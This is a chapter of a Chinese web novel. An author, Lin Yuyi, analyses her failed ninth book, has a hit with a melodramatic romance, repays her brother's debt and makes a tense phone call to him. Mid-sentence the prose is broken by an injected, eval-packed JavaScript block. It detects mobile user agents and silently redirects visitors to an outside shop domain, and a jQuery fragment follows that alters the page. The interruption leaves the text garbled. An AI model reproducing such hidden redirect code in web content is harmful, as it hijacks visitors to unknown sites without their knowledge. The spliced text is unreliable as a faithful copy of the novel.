这本书为什么会扑街?为什么会赚不到钱?
明明评论区一片好评,一眼望去全是夸夸的评论,有夸林羽翼文笔好的,有夸她文字有深度的,还有夸她思想成熟的,方方面面都有的夸,可为什么就是叫好不叫座呢?
林羽翼一章一章地认真分析,扒着一段段剧情回顾、复盘,最终得出一个结论:
是她太心急了。
她刚开始写网络小说时,口口声声说着“文字不分高低贵贱”、“既要阳春白雪,又要下里巴人”,可真正靠写作赚到了钱,生活压力没那么大了,还拥有了自己的第一本出版文,有了“作家”的名号,她心底的文学梦悄无声息地冒出了头。
她不想继续写那些狗血爽文,她就想写那些带有深意的、严肃的正剧,她不想写网文,她想搞文学。
林羽翼创作出这本大框架权谋文时,心里想的是那些火遍全网的网络巨作,像是《庆余年》,像是《回明》,可她自己都没注意到,她落笔时,脑子里飘过的是《万历十五年》,是《史记》。
她只看到了前两本书里宏大的框架,却忽略了它们作为网络文学的通俗性,忽视了网文里必不可少的几大要素:狗血、套路、爽。这便注定了林羽翼笔下的小说脱离了网文标准,向着更小众、更高深的文学之路一路狂奔。
可问题是,林羽翼狂奔着狂奔着,就奔歪了。
她的笔力不足以支撑起一个宏大的叙事框架,她的文笔不足以描绘出她构想中的朝野更迭、江湖动荡,她的思想深度、她的阅历、她的视野,不足以以深入浅出地传达出作为文学作品所需要的内核。
林羽翼的第九本书,既脱离了成熟网文的道路,又离“文学”二字差了十万八千里,说难听点儿,就是一本用晦涩难懂、故作高深的语言,勾勒出的口水书。
这样的书,能有多少人爱看呢?
竟然还真有那么一点点。
林羽翼一章一章地复盘,花了一个月时间,几乎方方面面地挑着刺儿般把这书否定了一遍,可神奇的是,这本书的订阅量居然悄无声息地涨了起来!
一个月时间,从完结时的一天几块钱,慢慢涨到了一天一百来元!
对林羽翼来说,一天一百多的订阅费并不多,可这本书最低谷时,一天只能挣个几毛钱啊!从几毛钱到一百来块,翻了整整、整整千倍!
这是林羽翼从未预料到的成绩。
这几乎是一个奇迹。
在复盘本的最后一页,林羽翼在复盘本里这么写道:
【不管过程如何,只要认真完成一个完整的故事,它终究能够吸引到属于它的受众。】
在完成这本书的过程中,林羽翼想过放弃,中途也的确摆烂了那么一个多月,可最终她坚持着写完了它,并且从中收获了意料不到的成绩。
写文如此,生活也是如此。林羽翼的存款足够她轻松地生活很长一段时间,再加上博客、微博的收入,她每个月依旧有余力还钱,这两年,王登高和王心宜也会时不时汇钱来,王登高的债款在一点一点减少着,估摸着,再过两三年就能被还清,林羽翼冷静下来后,深知自己无需焦虑。
她所需要的,只是时间。
林羽翼将所剩不多的那点儿自信捡了起来,重振旗鼓,开始第十本书的创作。
第十本书,林羽翼没有再钻文学作品的牛角尖,她放下架子,放下心底所谓的“文学梦”,一头钻回狗血套路爽文市场。
赚钱嘛,不寒碜。
林羽翼想得很清,既然要写狗血,要钻研下沉市场,那她就写最狗血的题材!保证抓人眼球,虐得读者心疼肝疼却又抓心挠肺地想要一路追读到结局。
林羽翼将目光放在今年大热的“追妻火葬场”题材上,这是由台剧《青蛙王子》和《命中注定》带起的题材,“火葬场”的意思并不是说男主为了追到女主,牺牲自己的生命,而是指故事男主前期看不起女主、苛待女主,肆意践踏女主的一颗真心。到了故事后期,女主终于放下对男主的感情,毅然决然离开男主,男主才意识到自己对女主的爱,回过头来重新追求女主。
这个重新追求的过程,则被称之为“火葬场”。
林羽翼很快便构思出故事雏形:
故事的女主角是一个父母双亡的苦命孤儿,女主父母对男主一家有过救命之恩,因此在她父母过世后,男主外婆将她从乡村带进城里生活。
女主因此认识了男主,在日渐相处的过程中,她对男主的感情,悄无声息地从幼时的仰慕,变成了成年后的爱慕,她喜欢上了男主。
可是她深切地知道,她只是一个落魄无依的乡下姑娘,只是因为运气好,借住在男主家里,得以与男主相接触。可是男主是矜贵无比的财阀大少爷,无论是幼时在学校,还是长大后在晚宴,在别的任何场合,她都只能默默地仰望着他的背影,从未奢望过能够和他在一起。
他们只是两个没有任何可能的陌路人。
没曾想,一次新年晚宴酒后的意外,她和男主的关系悄然发生了改变……
而这种改变,只有男主没有承认,所有人都看了出来。男主的父母将她当成准媳妇儿,对她倍加呵护,男主外婆更是事事照拂着她,不让她在家里受一点儿委屈。唯独男主对她冷眼相看,处处贬低,让她深陷痛苦。
可她依旧心甘情愿地爱着他,愿意为他付出一切,乃至自己的生命。能够与他有不可言明的隐秘关系,于她而言,已经是天大的幸运,近乎恩赐。
大学毕业后,女主放弃了自己的音乐梦想,听从男主的安排,前去他公司实习。在公司里,女主做着自己从未接触过的工作,受尽同事——甚至男主的白眼。男主不但不理解她,不信任她,贬低她的能力,彻彻底底地打击她的自信心。
女主一次次受伤后,在一次车祸后,终于彻底心死,下定决心离开男主,不再做他的附庸,而是去追寻自己的梦想,投身音乐事业,在舞台上发光发亮。
而这时,男主终于意识到自己对女主的爱,悔到痛彻心扉。
他开始放下身段追求女主,然而女主的心里早已没有他。他只能在电视面前卑微蹲守着女主的表演,亦或是和其他粉丝一样买票去演唱会现场,混在人群中遥遥望着女主。
男主以前看不起女主的爱好,觉得因音乐不过是戏子的娱乐罢了。他不不理解女主,也不屑于去理解,在他心里,女主只要随时乖乖跟在他身后,听从他的安排,乖巧温顺地度过一生便好。
而现在,两个人身份调换,一切都返还到了他的身上。他对女主犯下的所有错,所有的不理解,所有的苛刻与白眼,尽数返还到他身上。
他一点点地理解女主,尊重女主,学会怎样去爱,一点点追随着女主的步伐。
与此同时,男主意识到过去的自己有多么不堪,他没有爱人的能力,不懂得平视他人,却享受着女主不求回报的仰慕,他的人格畸形且不健康。
追求女主的同时,男主也在一点点成长着,他逐渐抛下自己的一切不堪,畸形的人格逐渐被补全,他不再傲慢自持,不再总是斜眼俯视着他人,他的人格魅力一天天发光发亮,最终,终于吸引到女主的目光。
在历经千辛万苦后,男主终于和女主重归于好,故事结束。
这是一个非常、非常、非常俗套的故事。
但俗套狗血,代表着情节跌宕起伏、扣人心弦,代表着故事内容通俗易懂,代表着读者受众非常广,上至七八十岁的老奶奶,下至十二三岁的小姑娘,谁不喜欢狗血八卦的爱情故事呢?
林羽翼刚开始动笔时还有点摸不准,心里止不住忐忑,这是她第一次写这么狗血套路的小说,她写得很慢、很费力、很用心,甚至比前一本“大框架文学”还要用心。
再怎么重振旗鼓重拾信心,连续扑街两本书,林羽翼内心再强大,也不可能没有一点儿波澜,她只是强行压住心底的情绪,写得很稳,不急,不躁,不惧。
林羽翼花二十天时间写完了免费章节,第二十一天,这本书上架收费。
当晚,林羽翼强迫着自己没去看订阅数据,她像以往一样,按下发表按钮后,便洗漱干净躺回床上,闭眼,一觉睡到闹铃响。
她没去看后台数据,可睡梦中,依旧梦到了好几遍。
一会儿又梦到这本书和上一本一样,只有几毛钱收入。一会儿却又梦到这本书上了网站金榜,一天能挣好几千!梦中情绪起起伏伏,林羽翼睡得很不安稳。
第二天早晨闹钟响起时,林羽翼几乎是从床上蹦起来,第一时间打开笔记本电脑,点开网站的收入后台。
林羽翼看见收入栏的数字,眼睛微微瞪大,然后轻轻眨了眨,最后她不可置信地闭上眼,揉了揉,再睁开,依旧是刚刚那个数字,她没有看错。
她的第十本书,上架第一天的收入是……
三百二十七元!
林羽翼的前面九本书里,总订阅超过五万元的那本书,上架第一天订阅费才刚刚过百!而这本书竟然是它的三倍!
也就是说……
这本书,毫无疑问的爆火了!
和博文广告分成不同,博文往往前两天的分成是最多的,到后面便开始衰减,维持不了多久,林羽翼必须长期稳定地输出不同内容,才能一直从博客里获取收入。
可网络小说呢?上架第一天只是开始!只要林羽翼稳住故事质量,稳定地每日更新,随着故事越来越长,新涌入的读者越来越多,她每天的订阅收入也会越来越多。到完结后,通过读者间口碑发酵,和社交媒体的传播,网络小说还能焕发出第二春,俗称“完结飞”。
三百元,只是微不足道的开始。
……
2010年,广都的平均月工资是三千元,日平均工资约莫百元。而林羽翼稿酬最高的那一两个月里,她每天的订阅费,是这个数字的十倍。
每天一早醒来,打开电脑后台,看到那一串明明真是无比却又毫不真实的数字,林羽翼只觉得脑海里一阵飘飘然。
是的,林羽翼毫无疑问地飘了,飘到云端。
钱仿佛变成了一串没有意义的数字,每天这么大笔的钱入账,仿佛怎么花都花不完……不,钱怎么会没有意义呢?
为了维持文章热度,为了在连载期间多挣点儿钱,林羽翼开始日万——一天从早到晚什么都不做,除了写书,写到想吐,写到大脑干涸,写到停笔时泪流满面嚎啕大哭,写够整整一万字。只要多写一点,就能多挣一点钱,为什么不写呢?
没有多余的时间做饭,林羽翼顿顿吃着泡面牛奶。
吃饭时,她难得有闲暇地回忆起大学时光,那会儿她是吃不起泡面的。
很多影视文艺作品中都写,穷人吃不起饭,只能顿顿吃泡面。可林羽翼经历过,她知道,真正的穷人哪儿吃得起泡面啊?不放盐的挂面与白粥,才是穷人的三餐。
泡面并不便宜,只是省时间而已。
穷人连盐都吃不起。
对现在的林羽翼来说,时间才是最珍贵的。她的一分一秒值不了千金,但几块钱也是有的。
就这样一直写啊写,一直写到年末,全文完结后,林羽翼才终于从身到心彻底松懈,得以回味省视这段时间自己的工作与生活。
小套间的客厅里乱糟糟堆满了垃圾纸袋,厨房角落乱七八糟摆着各式各样脏兮兮的泡面盒,林羽翼嫌弃自己埋汰的同时,一边收拾,一边又有些心疼:这么一堆盒装泡面,得有多少钱啊?
大几百?
可心疼的情绪只是一闪而过。想想后台的收入数据,林羽翼心里便什么负面情绪都没了,只觉得飘忽忽。
……
将稿费全部提出来后,林羽翼做的第一件事,是帮王登高还清债款。
是啊,生活就是这么奇妙,几个月前,林羽翼还盘算着,再过两三年就能还清钱,可短短几个月过去,一切就不一样了。
林羽翼依旧在飘。
毕竟,她就连做梦,也从不敢做这样的美梦。
她好像忽然间……在这片广阔天地之上,劈下了属于自己的第一刀。
林羽翼做的第二件事是搬家。
还完债款,林羽翼身上还有小六位数余款,她算了算,如果她要在广
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419021|135210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都买房,这笔钱足够她付首付,但考虑过后,她还是放弃了买房的想法。
原因无它,林羽翼刚还清债,她不想再背债款了,一分都不想。
和前两年相比,广都的房价涨了一千,林羽翼知道,以后它依旧会涨,会涨得越来越厉害,可她不想现在买。
就当她目光短浅吧,反正,她不愿意贷款。
或者说,她相信在不久后的将来,她有能力全款买下一套属于自己的小房子。
林羽翼选择了租房,就租在师涟家小区。
虽然她现在住的安置房和师涟家只隔了一条街,但环境可以说是天差地别,一个是毫无景观可言的棚户公寓,一个是一步一景的封闭园林小区,租房价格差了三五倍不止。林羽翼倒是一点儿也不心疼,大手一挥便租下一套一楼带院子的大套三,也不管自己一个人住浪不浪费,反正就那么搬了进去。
她压抑了太久,这会儿无债一身轻,拿着大笔的钱,也不管节不节约,就想要消费。
那句话怎么说来着……穷人乍富岂能安!
孙阿姨来劝过她。
“嗨呀,林小鸟,你都搬来这小区了,怎么不来我家住呀!我们给你和涟涟各留了一个房间呀!你还自己租房呢?这么贵的房租,这不是浪费吗?”
林羽翼大咧咧笑着挠头:“有钱了嘛,就想花出去。”
她不仅自己花,还给孙阿姨、给师涟买了金手链,还给王心宜也买了一条,准备着下次见面再给她。
“你这孩子……”孙阿姨感慨地摇摇头,她没有继续劝林羽翼要节约,她知道这孩子以前过得太苦了,现在是久旱逢甘霖,可不得飘一阵子吗?
孙阿姨是看着林羽翼长大的,她同样相信,林羽翼这孩子,是稳得住的。
林羽翼的确稳住了,她始终和那些暴发户不一样,她的钱不是一朝一夕忽然得来的,是她朝朝暮暮拼了命般努力写作挣来的,她会有一时的嘚瑟,但终究守得住。
林羽翼租了房,给亲近的人买了金首饰,便迅速地从云端飘落至地面,恢复了以往平静且规律的生活。
不一样的是,林羽翼养了只猫。
这几年很少去孙阿姨家里做客,难得见到那只叫呆呆的小猫,林羽翼时不时竟然觉得想念。反正现在自己有那条件,干脆便买一只小猫,养在家里。三室二厅的大房子,还附带一个小院,随便猫咪蹦跶。
等到一切安定下来,林羽翼才想起王登高。
债款还清了,她总得和王登高说一说。
她早该联系王登高的,从第一天开始就该联系,可是她那会儿又想,她还的是王登高的钱,王登高会不知道吗?还需要她来通知吗?不需要。于是就这么拖啊拖,一直拖到了现在。
可真是奇了怪了,这么些天,王登高竟然都没有主动联系她。这么大的事儿,他就没想着问问她?啧。
王心宜倒是打电话和林羽翼说过一两句,可没说几句就挂了。债款毕竟是王登高和林羽翼的家事,王心宜不好多说,而林羽翼自己呢?她知道,只要她愿意向王心宜倾述,王心宜一定会敞开心扉认认真真听她述说这段时间的经历,她瓶颈期时的痛苦,赚不到钱时的焦虑,暴富后飘上云端的快乐,所有所有的情绪,王心宜都愿意承接,愿意消化,愿意予她安慰,愿意与她同乐。
林羽翼清晰地知道,王心宜真心把她当做亲妹妹一般爱护,可正因为王心宜的爱,她反而觉得……无法向她开口。
随着年龄的增长,林羽翼越来越明了王心宜与哥哥的关系——他们终究会成为一家人,他们是一体的。可是到如今,林羽翼都无法面对自家哥哥,心底始终抵触着与他的交谈、与他碰面,甚至,厌恶着他。而这份厌恶,到了王心宜这里,便成了一缕缕难以启齿的愧疚。
林羽翼越是厌恶、越是看不起自己的哥哥,便越觉得愧对王心宜。
愧对王心宜对自己的好。
……
林羽翼最终给王登高打了一通电话。
电话打通后,两边都是一阵沉默。
王登高没有询问林羽翼的近况,没有询问林羽翼过得如何,什么都没有问。林羽翼在电话这头,只听得见他微微沉重的呼吸声。
于是林羽翼也什么都没问。
她只是说:“债款我还清了,我的生活你不用担心,至于你自己……你以后就好好过。”
语气淡淡的。
还有压抑不住的咄咄逼人。
林羽翼看不见,电话那头的王登高喉结地上下起伏,像是有什么东西痛苦地哽在里面。林羽翼只听见,他用同样淡漠疏离的语气问:
“没别的话要说了吗?”
“没了。”林羽翼摇头。
又是短暂的沉默。
打破沉默的,是王登高那边的声音。
“王哥!王哥,五栋那边有情况!有个业主他封阳台,防水槽还没来得及安装,昨儿不是下暴雨漏水了吗?他和楼下吵起来……就要打起来了!我们劝不住,麻烦王哥你去看看。”
林羽翼没听清具体在说什么,只听见那边语气很急,她垂眸:“你去工作吧,我不打扰你了。”
“好的,挂了。”挂断电话,王登高起身戴上制服帽,快步走出办公室,几步路竟走出雷霆万钧的气势,“这就去。”
“谢谢王哥!靠你了!”小保安乐呵乐呵地跟在王登高身后,难掩目光中的崇拜,“哥,我什么时候能像你一样厉害就好啦!”
两三年时间,王登高早已从保安做到了保安队长,最后进了物业后勤区的管理团,虽然赚得不如那些白领,可怎么也算是个威威风风的小领导。
“慢慢来吧。”王登高声音很缓,很有大哥风范。
他的脸色却是黯淡灰暗的。
他在想,自己明明已经活出了人样,明明……早已改头换面,可是在妹妹眼里,他似乎依旧是以前那个,不人不鬼的废物。
他听出了妹妹语气中的疏离与烦躁。
因此,他始终不知道该怎样面对妹妹,怎样忘怀,怎样与过去的自己和解。
就这样过着吧。